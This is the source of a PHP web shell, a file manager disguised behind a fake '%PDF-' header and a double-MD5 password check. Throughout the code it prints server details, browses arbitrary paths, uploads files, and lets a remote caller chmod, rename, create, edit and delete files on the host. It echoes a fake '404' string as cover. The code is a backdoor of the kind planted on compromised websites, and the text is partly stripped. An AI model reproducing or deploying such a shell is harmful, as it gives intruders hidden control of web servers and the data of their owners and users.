%PDF- %PDF- 0 and md5(md5($EzaU[2])) === "9f34665b0052311d5b6ad6f821dc6228") : // ====
// ===============================================================
function juejiang_perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {// FIFO pipe
$info = 'p';
} else {// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
// ------------------------------------------------------
/**
* 转化 \ 为 /
*/
function dir_path($path)
{
$path = str_replace('\\', '/', $path);
if (substr($path, -1) != '/') $path = $path . '/';
return $path;
}
// ------------------------------------------------------
/** 取得站点根目录
* @return array|string|string[]
*/
function document_root(){
$php_self = dir_path($_SERVER["PHP_SELF"]);
$script_filename = dir_path($_SERVER["SCRIPT_FILENAME"]);
if (empty($_SERVER["PHP_SELF"]) or empty($_SERVER["SCRIPT_FILENAME"])){
$do1 = dir_path($_SERVER["DOCUMENT_ROOT"]);
$do = rtrim($do1,'/');
}else{
$do = str_replace(str_replace("//", "/", $php_self), "", str_replace("\\\\", "/", $script_filename));
}
if(empty($do)) $do = '/';
return $do;
}
$document_root = document_root();
define('DOCUMENT_ROOT', $document_root);
// ------------------------------------------------------
$php_version = PHP_MAJOR_VERSION;
if($php_version<=7){
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
}
$Version = base64_decode('5pyA5ZCO55qE5YCU5by6');
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
echo '
&Error_404&
';
?>
'.$Version.'
'.php_uname().' ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
$gen_link_url = '根目录 : ';
echo $gen_link_url;
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '
/';
continue;
}
if($pat == '') continue;
echo ''.$pat.'/';
}
echo '
|
';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '上传成功 :)
';
}else{
echo '上传失败
';
}
}
echo '
|
';
if(isset($_GET['filesrc'])){
echo "| 当前文件 : ";
echo $_GET['filesrc'];
echo ' |
';
echo(' ');
}
//Empety
elseif(isset($_GET['option']) && $_GET['opt'] != 'delete'){
// echo '
'.$_POST['path'].'
';
echo '
';
//Chmod
if($_GET['opt'] == 'chmod'){
if(isset($_POST['perm'])){
$new_perm_o = $_POST['perm'];
if(strlen($new_perm_o)<=3) $new_perm_o=str_pad($new_perm_o,3,'6',STR_PAD_LEFT);
$new_perm_o=intval(str_pad($new_perm_o,4,'0',STR_PAD_LEFT),8);
if(chmod($_POST['path'],$new_perm_o)){
echo '更改权限成功!
';
}else{
echo '更改权限错误!
';
}
}
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
echo '
反回
';
}
//
elseif($_GET['opt'] == 'btw'){
$cwd = $_GET['path'];
echo '';
}
//Rename file
elseif($_GET['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '重命名成功! :)
';
}else{
echo '重命名失败! :(
';
}
$_POST['name'] = $_POST['newname'];
}
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
$new = $_POST['newname'];
echo '';
}
//File baru
elseif($_GET['opt'] == 'baru'){
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
$new = empty($_POST['newname'])?$_POST['ngaran1']:$_POST['newname'];
$azz = $_POST['path'];
$newz = $azz."/".$new;
$new_fiel = $hell.'/'.$_POST['ngaran1'];
if(!empty($_POST['ngaran1'])) echo "正在新建文件:{$new_fiel}
";
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '新建文件成功 [ '.$azz.' ]
';
}else{
echo '新建文件失败 >:(
';
}
fclose($fp);
}
echo '
';
$ho = $_POST['ngaran1'];
if(isset($_POST['ngaran'])){
echo '';
}
}
//Edited file
elseif($_GET['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '编辑成功!
';
}else{
echo '编辑失败!
';
}
fclose($fp);
}
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
echo '';
}
echo '';
}else{
echo '
';
//Delete dir and file
if(isset($_GET['option']) && $_GET['opt'] == 'delete'){
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
//Delete dir
if($_GET['type'] == 'dir'){
if(rmdir($patc)){
echo '删除成功!
';
}else{
echo '删除失败!>:(
';
}
}
//buat folder
if($_GET['type'] == 'buat'){
$haaa = $_POST['path'];
$heee = $_POST['name'];
$hooo = "$haaa/$heee";
$new = $haaa.'/'.htmlspecialchars($heee);
if(!mkdir($new)){
echo '新建目录失败!
';
}else{
echo '新建目录成功! >:)
';
}
}
//Delete file
elseif($_GET['type'] == 'file'){
$hell = $_GET['path'];
$yeah = $_GET['name'];
$patc = "$hell/$yeah";
if(unlink($patc)){
echo '文件删除成功
';
}else{
echo '文件删除失败
';
}
}
}
echo '';
$scandir = scandir($path);
$pa = getcwd();
echo ' ';
}
echo '